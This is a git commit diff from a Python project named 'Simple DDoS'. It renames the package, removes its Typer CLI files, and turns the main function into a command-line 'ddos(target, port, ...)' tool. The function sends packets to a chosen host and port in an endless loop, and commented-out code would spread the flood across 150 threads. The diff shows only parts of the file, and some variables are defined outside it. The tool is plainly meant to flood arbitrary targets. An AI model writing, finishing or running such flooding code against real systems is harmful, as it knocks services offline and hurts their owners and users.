Simplify Typer object

This commit is contained in:
Tiffany 2023-11-08 23:18:30 -05:00
parent 45322152ee
commit 846b86fafd
7 changed files with 15 additions and 41 deletions

View file

@ -1,10 +0,0 @@
"""Top-level package for Simple DDoS."""
# simpleDDoS/__main__.py
from simpleDDoS import cli, __app_name__
def main():
cli.app(prog_name=__app_name__)
if __name__ == "__main__":
main()

View file

@ -1,28 +0,0 @@
"""Top-level package for Simple DDoS."""
# simpleDDoS/cli.py
from typing import Optional
import typer
from simpleDDoS import __app_name__, __version__
app = typer.Typer()
def _version_callback(value: bool) -> None:
if value:
typer.echo(f"{__app_name__} v{__version__}")
raise typer.Exit()
@app.callback()
def main(
version: Optional[bool] = typer.Option(
None,
"--version",
"-v",
help="Show the application's version and exit.",
callback=_version_callback,
is_eager=True,
)
) -> None:
return

View file

@ -1,5 +1,5 @@
"""Top-level package for Simple DDoS.""" """Top-level package for Simple DDoS."""
# simpleDDoS/__init__.py # simple_ddos/__init__.py
__app_name__ = 'simple_ddos' __app_name__ = 'simple_ddos'
__version__ = "0.1.0" __version__ = "0.1.0"

View file

@ -1,6 +1,14 @@
"""Top-level package for Simple DDoS."""
# simple_ddos/py_ddos.py
import os import os
import platform import platform
import random import random
import ipaddress
from ipaddress import IPv4Address
import typer
# import threading # import threading
import socket import socket
@ -47,8 +55,9 @@ def check_os():
# Why use a try # Why use a try
def init_app(target, port, ipaddress): def ddos(target: str, port: str, ip: bool = False):
sent = 0 sent = 0
net = socket.getaddrinfo(target, port)
try: try:
while True: while True:
sock.sendto(bytes1, (target, port)) sock.sendto(bytes1, (target, port))
@ -78,3 +87,6 @@ def init_app(target, port, ipaddress):
# for i in range(150): # for i in range(150):
# thread = threading.Thread(target=ddos) # thread = threading.Thread(target=ddos)
# thread.start() # thread.start()
if __name__ == "__main__":
typer.run(ddos)

View file

@ -2,7 +2,7 @@
from typer.testing import CliRunner from typer.testing import CliRunner
from .. import __app_name__, __version__, cli from simpleDDoS import __app_name__, __version__, cli
runner = CliRunner() runner = CliRunner()